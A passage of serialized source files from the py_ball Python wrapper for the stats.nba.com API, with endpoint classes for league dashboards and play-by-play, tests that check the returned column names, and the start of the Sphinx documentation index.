\"\"\"\n\n example_pbp = PlayByPlay(headers=HEADERS,\n endpoint='playbyplayv2',\n game_id='0021500002')\n\n table_names = example_pbp.data.keys()\n\n assert 'PlayByPlay' in table_names\n assert 'AvailableVideo' in table_names\n\n example_game = example_pbp.data['PlayByPlay'][0]\n example_video = example_pbp.data['AvailableVideo'][0]\n\n assert list(example_game.keys()) == ['GAME_ID',\n 'EVENTNUM',\n 'EVENTMSGTYPE',\n 'EVENTMSGACTIONTYPE',\n 'PERIOD',\n 'WCTIMESTRING',\n 'PCTIMESTRING',\n 'HOMEDESCRIPTION',\n 'NEUTRALDESCRIPTION',\n 'VISITORDESCRIPTION',\n 'SCORE',\n 'SCOREMARGIN',\n 'PERSON1TYPE',\n 'PLAYER1_ID',\n 'PLAYER1_NAME',\n 'PLAYER1_TEAM_ID',\n 'PLAYER1_TEAM_CITY',\n 'PLAYER1_TEAM_NICKNAME',\n 'PLAYER1_TEAM_ABBREVIATION',\n 'PERSON2TYPE',\n 'PLAYER2_ID',\n 'PLAYER2_NAME',\n 'PLAYER2_TEAM_ID',\n 'PLAYER2_TEAM_CITY',\n 'PLAYER2_TEAM_NICKNAME',\n 'PLAYER2_TEAM_ABBREVIATION',\n 'PERSON3TYPE',\n 'PLAYER3_ID',\n 'PLAYER3_NAME',\n 'PLAYER3_TEAM_ID',\n 'PLAYER3_TEAM_CITY',\n 'PLAYER3_TEAM_NICKNAME',\n 'PLAYER3_TEAM_ABBREVIATION']\n\n assert list(example_video.keys()) == ['VIDEO_AVAILABLE_FLAG']\n" }, { "alpha_fraction": 0.5569680333137512, "alphanum_fraction": 0.5642405152320862, "avg_line_length": 44.710811614990234, "blob_id": "aaa19944d48b5916b3f726b7bf784101616b77b2", "content_id": "097f570f2bfe790db6fdec00f8003b1b2a476d13", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16913, "license_type": "permissive", "max_line_length": 83, "num_lines": 370, "path": "/py_ball/league_dash.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 11 20:44:34 2018\n\n@author: patrickmcfarlane\n\nleague_dash.py contains the LeagueDashboard class that\nenables API calls for general league performance statitics\nrelated endpoints\n\"\"\"\n\nfrom .utils import api_call, parse_api_call, get_season_year\n\nclass LeagueDash:\n \"\"\" The LeagueDash class contains all resources needed\n to use the league performance stats related API calls.\n `stats.nba.com <https://stats.nba.com>`_ has the following\n league performance stats related API endpoints:\n\n *- **leaguedashlineups**: Traditional and plus/minus statistics \\\n for sets of lineups between sizes 2 to 5 players, inclusive.\n - **leaguedashplayerbiostats**: Player metadata and performance \\\n statistics for a given season.\n *- **leaguedashplayerclutch**: Traditional, plus/minus, and rank \\\n statistics for players in a defined clutch period.\n *- **leaguedashteamclutch**: Traditional, plus/minus, and rank \\\n statistics for teams in a defined clutch period.\n *- **leaguedashplayershotlocations**: Player shooting-related \\\n statistics by shot distance/type.\n - **leaguedashplayerptshot**: Shooting-related statistics for \\\n a given season by player.\n *- **leaguedashplayerstats**: Traditional, plus/minus, and rank \\\n statistics for players.\n *- **leaguedashteamstats**: Traditional, plus/minus, and rank \\\n statistics for teams.\n - **leaguedashptdefend**: Defensive statistics for a given season \\\n by player.\n - **leaguedashptteamdefend**: Defensive statistics for a given \\\n season by team.\n - **leaguedashteamptshot**: Shooting-related statistics for a \\\n given season by team.\n - **leaguedashteamshotlocations**: Location-related shooting \\\n statistics for a given season by team\n\n The LeagueDash class has the following required parameters:\n\n @param **headers** (*dict*): Dictionary of request header information\n required by the API. Specifically, the API requires you to declare\n the 'User-Agent' key of the request header dictionary. More information\n can be found `here <https://stackoverflow.com/questions/46781563/\n how-to-obtain-a-json-response-from-the-stats-nba-com-api>`_ and\n an example request header dictionary can be found in the __init__.py\n file in the tests folder of this module.\n\n @param **league_id** (*str*): LeagueID in the API). String of a \\\n two-digit number corresponding to the league. '00' is the NBA, \\\n '10' is the WNBA, '01' is the ABA, and '20' is the G-League.\n\n @param **group_quantity** (*str*): GroupQuantity in the API. String \\\n of an integer indicating the number of players to include a \\\n lineup for the **leaguedashlineups** endpoint. The minimum value \\\n is '2' and the maximum value is '5'.\n\n @param **per_mode** (*str*): PerMode in the API. String indicating \\\n the type of rate stats to be returned. Valid values include:\n\n - 'Totals', 'PerGame', 'MinutesPer', 'Per48', 'Per40', \\\n 'Per36', 'PerMinute', 'PerPossession', 'PerPlay', \\\n 'Per100Possessions', 'Per100Plays'\n\n @param **plus_minus** (*str*): PlusMinus in the API. String \\\n representing a Boolean value that indicates whether the values \\\n being returned should be in plus-minus form. Valid values \\\n include:\n\n - 'Y', 'N'\n\n @param **rank** (*str*): Rank in the API. String representing \\\n a Boolean value that indicates whether the values being \\\n returned should be in rank form. Valid values include:\n\n - 'Y', 'N'\n\n @param **pace_adjust** (*str*): PaceAdjust in the API. String \\\n representing a Boolean value that indicates whether the \\\n values being returned should be pace-adjusted. Valid \\\n values include:\n\n - 'Y', 'N'\n\n @param **measure_type** (*str*): MeasureType in the API. String \\\n indicating the set of statistics to be returned. Valid \\\n values include:\n\n - 'Base', 'Advanced', 'Misc', 'Four Factors', 'Scoring', \\\n 'Opponent', 'Usage', 'Defense'\n\n @param **period** (*str*): Period in the API. String of an \\\n integer value that corresponds to a desired quarter for data \\\n to be returned. A value of '0' returns data across all quarters.\n\n @param **vs_conference** (*str*): VsConference in the API. String \\\n indicating the conference of the opposing team for data to be \\\n returned. An empty string returns data across all conferences. \\\n Valid values include:\n\n - 'East', 'West', ''\n\n @param **conference** (*str*): Conference in the API. String \\\n indicating the conference of the team for data to be \\\n returned. An empty string returns data across all conferences. \\\n Valid values include:\n\n - 'East', 'West', ''\n\n @param **last_n_games** (*str*): LastNGames in the API. String of \\\n an integer indicating the desired number of most recent games \\\n for data to be returned. A value of '0' returns data across \\\n all previous games, subject to other constraints in the API call.\n\n @param **team_id** (*str*): TeamID in the API. String of a 10-digit \\\n integer that uniquely identifies a team for which data is to \\\n be returned.\n\n @param **location** (*str*): Location in the API. String indicating \\\n the game location for the data to be returned. An empty string \\\n returns data across both home and road games. Valid values \\\n include:\n\n - 'Home', 'Road', ''\n\n @param **outcome** (*str*): Outcome in the API. String indicating \\\n the game outcome for the data to be returned. An empty string \\\n returns data across both wins and losses. Valid values include:\n\n - 'W', 'L', ''\n\n @param **date_from** (*str*): DateFrom in the API. String of a date \\\n in a MM/DD/YYYY format indicating the start date for which \\\n data is to be returned.\n\n @param **date_to** (*str*): DateTo in the API. String of a date \\\n in a MM/DD/YYYY format indicating the end date for which \\\n data is to be returned.\n\n @param **opp_team_id** (*str*): OpponentTeamID in the API. String \\\n of a 10-digit integer that uniquely identifies an opposing \\\n team for which data is to be returned.\n\n @param **season** (*str*): Season in the API. String of a two-year \\\n season in a YYYY-ZZ format, where the ZZ are the last two \\\n digits of the following year. For example, '2017-18' is a valid \\\n value of **season** and represents the 2017-18 NBA season.\n\n @param **vs_division** (*str*): VsDivision in the API. String \\\n indicating the division of the opposing team for data to be \\\n returned. An empty string returns data across all divisions. \\\n Valid values include:\n\n - 'Atlantic', 'Central', 'Northwest', 'Pacific', \\\n 'Southeast', 'Southwest', 'East', 'West', ''\n\n The 'East' and 'West' values correspond to conferences.\n\n @param **game_segment** (*str*): GameSegment in the API. String \\\n indicating the section of a game for data to be returned. \\\n An empty string returns data across all game segments. \\\n Valid values include:\n\n - 'First Half', 'Overtime', 'Second Half', ''\n\n @param **month** (*str*): Month in the API. String of an integer \\\n corresponding to a month for data to be returned. \\\n A value of '0' returns data across all months.\n\n @param **season_type** (*str*): SeasonType in the API. String \\\n indicating the type of season for data to be returned. \\\n Valid values include:\n\n - 'Regular Season', 'Pre Season', 'Playoffs', 'All Star'\n\n @param **season_segment** (*str*): SeasonSegment in the API. String \\\n indicating the section of the season for data to be returned. \\\n An empty string returns data across all season segments. \\\n Valid values include:\n\n - 'Pre All-Star', 'Post All-Star', ''\n\n @param **clutch_time** (*str*): ClutchTime in the API. String that \\\n defines the type of clutch time for the data to be returned. \\\n Valid values include:\n\n - 'Last 5 Minutes', 'Last 4 Minutes', 'Last 3 Minutes', \\\n 'Last 2 Minutes', 'Last 1 Minute', 'Last 30 Seconds', \\\n 'Last 10 Seconds'\n\n @param **ahead_behind** (*str*): AheadBehind in the API. String \\\n indicating the type of score differential for the data to \\\n be returned. Valid values include:\n\n - 'Ahead or Behind', 'Behind or Tied', 'Ahead or Tied'\n\n @param **point_diff** (*str*): PointDiff in the API. String of zero \\\n or a positive integer indicating the maximum point \\\n differential for data to be returned. \n\n @param **game_scope** (*str*): GameScope in the API. String \\\n indicating the recency of the data to be returned. An \\\n empty string returns data across all past games, subject \\\n to other constraints in the API call. Valid values include:\n\n - 'Yesterday', 'Last 10', ''\n\n @param **player_experience** (*str*): PlayerExperience in the API. \\\n String indicating the level of player experience for data to be \\\n returned. An empty string returns data across all levels \\\n of player experience. Valid values include:\n\n - 'Rookie', 'Sophomore', 'Veteran', ''\n\n @param **player_position** (*str*): PlayerPosition in the API. \\\n String indicating the player position for data to be returned. \\\n An empty string returns data across all player positions. Valid \\\n values include:\n\n - 'F', 'C', 'G', 'C-F', 'F-C', 'F-G', 'G-F', ''\n\n @param **starters_bench** (*str*): StarterBench in the API. String \\\n indicating whether data should be returned for either or both \\\n starters or bench players. An empty string returns data across \\\n both starters and bench players. Valid values include:\n\n - 'Starters', 'Bench', ''\n\n @param **distance_range** (*str*): DistanceRange in the API. String \\\n indicating the size/type of the distance range bins for data \\\n to be returned. Valid values include:\n\n - '5ft Range', '8ft Range', 'By Zone'\n\n @param **defense_category** (*str*): DefenseCategory in the API. \\\n String indicating the shot type of defensive data to be returned. \\\n Valid values include:\n\n - 'Overall', '3 Pointers', '2 Pointers', 'Less Than 6Ft', \\\n 'Less Than 10Ft', 'Greater Than 15Ft'\n\n @param **po_round** (*str*): PORound in the API. 1, 2, 3, or 4 \\\n corresponding to the deired playoff round\n\n @param **shot_clock_range** (*str*): ShotClockRange in the API \\\n Accepts one of the following strings for windows of the shot \\\n clock:\n\n - \"24-22\"\n - \"22-18\": very early\n - \"18-15\": early\n - \"15-7\": average\n - \"7-4\": late\n - \"4-0\": very late\n\n @param **two_way** (*str*): TwoWay in the API. 1 to return stats \\\n for players on two-way contracts only. 0 to return all players\n\n Attributes:\n\n **api_resp** (*dict*): JSON object of the API response. The API \\\n response has three keys. The 'resource' key describes the \\\n type of response returned (the endpoint in this instance). \\\n The 'parameters' key describes the parameters provided in the \\\n API call. The 'resultSets' key contains the data returned in \\\n the API call.\n\n **data** (*dict*): A dictionary of response names. Each response \\\n name is a key to a list of dictionaries containing the \\\n corresponding data.\n \"\"\"\n\n def __init__(self, headers, endpoint='leaguedashlineups',\n league_id='00', group_quantity='5',\n per_mode='PerGame', plus_minus='N',\n rank='Y', pace_adjust='N',\n measure_type='Base', period='0',\n vs_conference='', conference='',\n last_n_games='0',\n team_id='0', location='', outcome='',\n date_from='', date_to='', opp_team_id='0',\n season=get_season_year(\"00\"), vs_division='',\n game_segment='', month='0',\n season_type='Regular Season', season_segment='',\n clutch_time='Last 5 Minutes',\n ahead_behind='Ahead or Behind',\n point_diff='0', game_scope='',\n player_experience='',\n player_position='', starters_bench='',\n distance_range='By Zone',\n defense_category='Overall',\n player_or_team=\"Player\",\n pt_measure_type='SpeedDistance',\n po_round='', shot_clock_range='',\n two_way='0'):\n\n # Controlling the parameters depending on the endpoint\n if endpoint not in ['leaguedashplayerbiostats',\n 'leaguedashplayerptshot',\n 'leaguedashteamptshot',\n 'leaguedashptdefend',\n 'leaguedashptteamdefend']:\n params = {'LeagueID': league_id,\n 'PerMode': per_mode,\n 'PlusMinus': plus_minus,\n 'Rank': rank,\n 'PaceAdjust': pace_adjust,\n 'MeasureType': measure_type,\n 'Period': period,\n 'VsConference': vs_conference,\n 'Conference': conference,\n 'Location': location,\n 'Outcome': outcome,\n 'DateFrom': date_from,\n 'DateTo': date_to,\n 'TeamID': team_id,\n 'OpponentTeamID': opp_team_id,\n 'Season': season,\n 'VsDivision': vs_division,\n 'GameSegment': game_segment,\n 'Month': month,\n 'SeasonType': season_type,\n 'SeasonSegment': season_segment,\n 'LastNGames': last_n_games,\n 'GameScope': game_scope,\n 'PlayerExperience': player_experience,\n 'PlayerPosition': player_position,\n 'StarterBench': starters_bench,\n 'PORound': po_round,\n 'ShotClockRange': shot_clock_range,\n 'TwoWay': two_way}\n else:\n params = {'LeagueID': league_id,\n 'PerMode': per_mode,\n 'Season': season,\n 'SeasonType': season_type}\n\n if endpoint in ['leaguedashlineups']:\n params['GroupQuantity'] = group_quantity\n elif endpoint in ['leaguedashplayerclutch',\n 'leaguedashteamclutch']:\n params['ClutchTime'] = clutch_time\n params['AheadBehind'] = ahead_behind\n params['PointDiff'] = point_diff\n elif endpoint in ['leaguedashplayershotlocations',\n 'leaguedashteamshotlocations']:\n params['DistanceRange'] = distance_range\n elif endpoint in ['leaguedashptdefend',\n 'leaguedashptteamdefend']:\n params['DefenseCategory'] = defense_category\n elif endpoint in [\"leaguedashptstats\"]:\n params[\"PlayerOrTeam\"] = player_or_team\n params[\"PtMeasureType\"] = pt_measure_type\n\n\n self.api_resp = api_call(endpoint=endpoint,\n params=params,\n headers=headers)\n\n # Storing the API response in a dictionary called data\n # The results can come in different formats, namely a\n # dictionary keyed by either resultSets or resultSet\n self.data = parse_api_call(self.api_resp)\n" }, { "alpha_fraction": 0.6082169413566589, "alphanum_fraction": 0.6245971918106079, "avg_line_length": 44.414634704589844, "blob_id": "7f4dbc7b2faa918812abae78a1a846f07984b6bf", "content_id": "e1af1681109871c78d48e3899f01c97d2f264424", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3724, "license_type": "permissive", "max_line_length": 83, "num_lines": 82, "path": "/py_ball/playbyplay.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 9 19:29:03 2018\n\n@author: patrickmcfarlane\n\nplaybyplay.py contains the PlayByPlay class that\nenables API calls for two play-by-play (pbp) endpoints\n\"\"\"\n\nfrom .utils import api_call, parse_api_call\n\nclass PlayByPlay:\n \"\"\" The PlayByPlay class contains all resources needed to use the \n pbp-related API calls. `stats.nba.com <https://stats.nba.com>`_\n has the following pbp-related API endpoints:\n\n - **playbyplay**: Game play-by-play with basic fields, such as \\\n play desscription, score, margin, period, and game time.\n - **playbyplayv2**: Game play-by-play with the basic fields above, \\\n as well as player information of those involved in the play.\n\n The PlayByPlay class has the following required parameters:\n\n @param **headers** (*dict*): Dictionary of request header information\n required by the API. Specifically, the API requires you to declare\n the 'User-Agent' key of the request header dictionary. More information\n can be found `here <https://stackoverflow.com/questions/46781563/\n how-to-obtain-a-json-response-from-the-stats-nba-com-api>`_ and\n an example request header dictionary can be found in the __init__.py\n file in the tests folder of this module.\n\n @param **game_id** (*str*): GameID in the API. 10-digit string \\\n that represents a unique game. The format is two leading zeroes, \\\n followed by a season indicator number ('1' for preseason, \\\n '2' for regular season, '4' for the post-season), \\\n then the trailing digits of the season in which the game \\\n took place (e.g. '17' for the 2017-18 season). The following \\\n 5 digits increment from '00001' in order as the season progresses. \\\n For example, '0021600001' is the **game_id** of the first game \\\n of the 2016-17 NBA regular season.\n\n @param **start_period** (*str*): StartPeriod in the API. String of \\\n an integer that corresponds to the period for which the \\\n boxscore begins.\n\n @param **end_period** (*str*): EndPeriod in the API. String of an \\\n integer that corresponds to the period for which the \\\n boxscore ends (Overtime increments logically, e.g. '5' is \\\n the first overtime period).\n\n Attributes:\n\n **api_resp** (*dict*): JSON object of the API response. The API \\\n response has three keys. The 'resource' key describes the \\\n type of response returned ('playbyplay' in this instance). \\\n The 'parameters' key describes the parameters provided in \\\n the API call. The 'resultSets' key contains the data returned \\\n in the API call.\n\n **data** (*dict*): A dictionary of response names. Each response \\\n name is a key to a list of dictionaries containing the \\\n corresponding data.\n \"\"\"\n\n def __init__(self, headers, game_id, endpoint='playbyplay',\n start_period='1', end_period='10'):\n\n # Controlling the parameters depending on the endpoint\n params = {'GameID': game_id,\n 'StartPeriod': start_period,\n 'EndPeriod': end_period}\n\n self.api_resp = api_call(endpoint=endpoint,\n params=params,\n headers=headers)\n\n # Storing the API response in a dictionary called data\n # The results can come in different formats, namely a\n # dictionary keyed by either resultSets or resultSet\n self.data = parse_api_call(self.api_resp)\n" }, { "alpha_fraction": 0.30767667293548584, "alphanum_fraction": 0.31092607975006104, "avg_line_length": 48.22999954223633, "blob_id": "f3f247982b99be3e9e2c14eb6fd7d43434af545a", "content_id": "85d357f118668ea10020cb59912784d23b243b64", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4924, "license_type": "permissive", "max_line_length": 80, "num_lines": 100, "path": "/py_ball/tests/test_draft.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 22 12:29:35 2018\n\n@author: patrickmcfarlane\n\ntest_draft.py\n\nThis function contains the tests for\nfunctions in the draft.py file\n\"\"\"\n\nfrom .__init__ import HEADERS\nfrom ..draft import Draft\n\ndef test_draft_combine():\n \"\"\" tests the draftcombinestats endpoint of the Draft class\n \"\"\"\n\n example_draft = Draft(headers=HEADERS)\n\n table_names = example_draft.data.keys()\n\n assert 'DraftCombineStats' in table_names\n\n example_player_stats = example_draft.data['DraftCombineStats'][0]\n\n assert list(example_player_stats.keys()) == ['SEASON',\n 'PLAYER_ID',\n 'FIRST_NAME',\n 'LAST_NAME',\n 'PLAYER_NAME',\n 'POSITION',\n 'HEIGHT_WO_SHOES',\n 'HEIGHT_WO_SHOES_FT_IN',\n 'HEIGHT_W_SHOES',\n 'HEIGHT_W_SHOES_FT_IN',\n 'WEIGHT',\n 'WINGSPAN',\n 'WINGSPAN_FT_IN',\n 'STANDING_REACH',\n 'STANDING_REACH_FT_IN',\n 'BODY_FAT_PCT',\n 'HAND_LENGTH',\n 'HAND_WIDTH',\n 'STANDING_VERTICAL_LEAP',\n 'MAX_VERTICAL_LEAP',\n 'LANE_AGILITY_TIME',\n 'MODIFIED_LANE_AGILITY_TIME',\n 'THREE_QUARTER_SPRINT',\n 'BENCH_PRESS',\n 'SPOT_FIFTEEN_CORNER_LEFT',\n 'SPOT_FIFTEEN_BREAK_LEFT',\n 'SPOT_FIFTEEN_TOP_KEY',\n 'SPOT_FIFTEEN_BREAK_RIGHT',\n 'SPOT_FIFTEEN_CORNER_RIGHT',\n 'SPOT_COLLEGE_CORNER_LEFT',\n 'SPOT_COLLEGE_BREAK_LEFT',\n 'SPOT_COLLEGE_TOP_KEY',\n 'SPOT_COLLEGE_BREAK_RIGHT',\n 'SPOT_COLLEGE_CORNER_RIGHT',\n 'SPOT_NBA_CORNER_LEFT',\n 'SPOT_NBA_BREAK_LEFT',\n 'SPOT_NBA_TOP_KEY',\n 'SPOT_NBA_BREAK_RIGHT',\n 'SPOT_NBA_CORNER_RIGHT',\n 'OFF_DRIB_FIFTEEN_BREAK_LEFT',\n 'OFF_DRIB_FIFTEEN_TOP_KEY',\n 'OFF_DRIB_FIFTEEN_BREAK_RIGHT',\n 'OFF_DRIB_COLLEGE_BREAK_LEFT',\n 'OFF_DRIB_COLLEGE_TOP_KEY',\n 'OFF_DRIB_COLLEGE_BREAK_RIGHT',\n 'ON_MOVE_FIFTEEN',\n 'ON_MOVE_COLLEGE']\n\ndef test_draft_history():\n \"\"\" tests the drafthistory endpoint of the Draft class\n \"\"\"\n\n example_draft = Draft(headers=HEADERS, endpoint='drafthistory')\n\n table_names = example_draft.data.keys()\n\n assert 'DraftHistory' in table_names\n\n example_history = example_draft.data['DraftHistory'][0]\n\n assert list(example_history.keys()) == ['PERSON_ID',\n 'PLAYER_NAME',\n 'SEASON',\n 'ROUND_NUMBER',\n 'ROUND_PICK',\n 'OVERALL_PICK',\n 'TEAM_ID',\n 'TEAM_CITY',\n 'TEAM_NAME',\n 'TEAM_ABBREVIATION',\n 'ORGANIZATION',\n 'ORGANIZATION_TYPE']\n\n" }, { "alpha_fraction": 0.31593477725982666, "alphanum_fraction": 0.3224915862083435, "avg_line_length": 44.27734375, "blob_id": "d5918b6d31f46fdcf1d42e48b3a5bf1f794a7fd1", "content_id": "1b27d644b2761a1681029713af3af9bd7f4e5c60", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11591, "license_type": "permissive", "max_line_length": 79, "num_lines": 256, "path": "/py_ball/tests/test_leaderboard.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 22 13:04:35 2018\n\n@author: patrickmcfarlane\n\ntest_leaderboard.py\n\nThis function contains the tests for\nfunctions in the leaderboard.py file\n\"\"\"\n\nfrom .__init__ import HEADERS\nfrom ..leaderboard import LeaderBoard\n\ndef test_homepage_leaders():\n \"\"\" tests the homepageleaders endpoint of the LeaderBoard class\n \"\"\"\n\n example_leaderboard = LeaderBoard(headers=HEADERS)\n\n table_names = example_leaderboard.data.keys()\n\n assert 'HomePageLeaders' in table_names\n assert 'LeagueAverage' in table_names\n assert 'LeagueMax' in table_names\n\n example_leaders = example_leaderboard.data['HomePageLeaders'][0]\n example_average = example_leaderboard.data['LeagueAverage'][0]\n example_max = example_leaderboard.data['LeagueMax'][0]\n\n assert list(example_leaders.keys()) == ['RANK',\n 'PLAYERID',\n 'PLAYER',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_NAME',\n 'PTS',\n 'FG_PCT',\n 'FG3_PCT',\n 'FT_PCT',\n 'EFG_PCT',\n 'TS_PCT',\n 'PTS_PER48']\n\n assert list(example_average.keys()) == ['PTS',\n 'FG_PCT',\n 'FG3_PCT',\n 'FT_PCT',\n 'EFG_PCT',\n 'TS_PCT',\n 'PTS_PER48']\n\n assert list(example_max.keys()) == ['PTS',\n 'FG_PCT',\n 'FG3_PCT',\n 'FT_PCT',\n 'EFG_PCT',\n 'TS_PCT',\n 'PTS_PER48']\n \ndef test_homepage():\n \"\"\" tests the homepagev2 endpoint of the LeaderBoard class\n \"\"\"\n\n example_leaderboard = LeaderBoard(headers=HEADERS,\n endpoint='homepagev2')\n\n table_names = example_leaderboard.data.keys()\n\n assert 'HomePageStat1' in table_names\n assert 'HomePageStat2' in table_names\n assert 'HomePageStat3' in table_names\n assert 'HomePageStat4' in table_names\n assert 'HomePageStat5' in table_names\n assert 'HomePageStat6' in table_names\n assert 'HomePageStat7' in table_names\n assert 'HomePageStat8' in table_names\n\n example_homestat1 = example_leaderboard.data['HomePageStat1'][0]\n example_homestat2 = example_leaderboard.data['HomePageStat2'][0]\n example_homestat3 = example_leaderboard.data['HomePageStat3'][0]\n example_homestat4 = example_leaderboard.data['HomePageStat4'][0]\n example_homestat5 = example_leaderboard.data['HomePageStat5'][0]\n example_homestat6 = example_leaderboard.data['HomePageStat6'][0]\n example_homestat7 = example_leaderboard.data['HomePageStat7'][0]\n example_homestat8 = example_leaderboard.data['HomePageStat8'][0]\n\n assert list(example_homestat1.keys()) == ['RANK',\n 'PLAYER_ID',\n 'PLAYER',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_NAME',\n 'JERSEY_NUM',\n 'PLAYER_POSITION',\n 'DIST_MILES']\n\n assert list(example_homestat2.keys()) == ['RANK',\n 'PLAYER_ID',\n 'PLAYER',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_NAME',\n 'JERSEY_NUM',\n 'PLAYER_POSITION',\n 'AST_POINTS_CREATED']\n\n assert list(example_homestat3.keys()) == ['RANK',\n 'PLAYER_ID',\n 'PLAYER',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_NAME',\n 'JERSEY_NUM',\n 'PLAYER_POSITION',\n 'DRIVES']\n\n assert list(example_homestat4.keys()) == ['RANK',\n 'PLAYER_ID',\n 'PLAYER',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_NAME',\n 'JERSEY_NUM',\n 'PLAYER_POSITION',\n 'NUM_TOUCHES']\n\n assert list(example_homestat5.keys()) == ['RANK',\n 'PLAYER_ID',\n 'PLAYER',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_NAME',\n 'JERSEY_NUM',\n 'PLAYER_POSITION',\n 'POST_TOUCHES']\n\n assert list(example_homestat6.keys()) == ['RANK',\n 'PLAYER_ID',\n 'PLAYER',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_NAME',\n 'JERSEY_NUM',\n 'PLAYER_POSITION',\n 'REB_CONTEST']\n\n assert list(example_homestat7.keys()) == ['RANK',\n 'PLAYER_ID',\n 'PLAYER',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_NAME',\n 'JERSEY_NUM',\n 'PLAYER_POSITION',\n 'CATCH_SHOOT_PTS']\n\n assert list(example_homestat8.keys()) == ['RANK',\n 'PLAYER_ID',\n 'PLAYER',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_NAME',\n 'JERSEY_NUM',\n 'PLAYER_POSITION',\n 'PULL_UP_PTS']\n\ndef test_leaderstiles():\n \"\"\" tests the leaderstiles endpoint of the LeaderBoard class\n \"\"\"\n\n example_leaderboard = LeaderBoard(headers=HEADERS, endpoint='leaderstiles')\n\n table_names = example_leaderboard.data.keys()\n\n assert 'LeadersTiles' in table_names\n assert 'AllTimeSeasonHigh' in table_names\n assert 'LastSeasonHigh' in table_names\n assert 'LowSeasonHigh' in table_names\n\n example_leaders = example_leaderboard.data['LeadersTiles'][0]\n example_all_high = example_leaderboard.data['AllTimeSeasonHigh'][0]\n example_high = example_leaderboard.data['LastSeasonHigh'][0]\n example_low = example_leaderboard.data['LowSeasonHigh'][0]\n\n assert list(example_leaders.keys()) == ['RANK',\n 'PLAYER_ID',\n 'PLAYER',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_NAME',\n 'PTS']\n\n assert list(example_all_high.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME',\n 'PTS',\n 'SEASON_YEAR',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_NAME']\n\n assert list(example_high.keys()) == ['RANK',\n 'PLAYER_ID',\n 'PLAYER',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_NAME',\n 'PTS']\n\n assert list(example_low.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME',\n 'PTS',\n 'SEASON_YEAR',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'TEAM_NAME']\n\ndef test_leaders():\n \"\"\" tests the leagueleaders endpoint of the LeaderBoard class\n \"\"\"\n\n example_leaderboard = LeaderBoard(headers=HEADERS,\n endpoint='leagueleaders')\n\n table_names = example_leaderboard.data.keys()\n\n assert 'LeagueLeaders' in table_names\n\n example_leaders = example_leaderboard.data['LeagueLeaders'][0]\n\n assert list(example_leaders.keys()) == ['PLAYER_ID',\n 'RANK',\n 'PLAYER',\n 'TEAM',\n 'GP',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PTS',\n 'EFF']\n" }, { "alpha_fraction": 0.7003034949302673, "alphanum_fraction": 0.7052351832389832, "avg_line_length": 26.46875, "blob_id": "30bd458493e05f66ab3670e7386b7b5afa7f4502", "content_id": "63601a1443385ab1860fec68a1be083d6df56515", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 2636, "license_type": "permissive", "max_line_length": 106, "num_lines": 96, "path": "/docs/index.rst", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": ".. py_ball documentation master file, created by\n sphinx-quickstart on Sat Oct 20 20:05:32 2018.\n You can adapt this file completely to your liking, but it should at least\n contain the root `toctree` directive.\n\npy_ball\n*******\nPython API for `stats.nba.com <https://stats.nba.com>`_ with a focus on NBA and WNBA applications.\nDocumentation for the wrapper can be found `here <https://github.com/basketballrelativity/py_ball/wiki>`_.\nThe documentation includes endpoint, parameter, and feature definitions for the API.\n\n.. toctree::\n :maxdepth: 2\n :caption: Contents:\n\nIndices and tables\n==================\n\n* :ref:`genindex`\n* :ref:`modindex`\n* :ref:`search`\n\nutils\n========\n\n.. automodule:: py_ball.utils\n\t:members: api_call, parse_api_call\n\nClasses\n*******\n\nBoxScore class\n==============\n(additional documentation `here <https://github.com/basketballrelativity/py_ball/wiki/BoxScore>`_)\n\n.. autoclass:: py_ball.boxscore.BoxScore\n\nDraft class\n==============\n (additional documentation `here <https://github.com/basketballrelativity/py_ball/wiki/Draft>`_)\n\n.. autoclass:: py_ball.draft.Draft\n\nHeadshot class\n==============\n(additional documentation `here <https://github.com/basketballrelativity/py_ball/wiki/Image>`_)\n\n.. autoclass:: py_ball.image.Headshot\n\nLogo class\n==============\n(additional documentation `here <https://github.com/basketballrelativity/py_ball/wiki/Image>`_)\n\n.. autoclass:: py_ball.image.Logo\n\nLeaderBoard class\n=================\n(additional documentation `here <https://github.com/basketballrelativity/py_ball/wiki/LeaderBoard>`_)\n\n.. autoclass:: 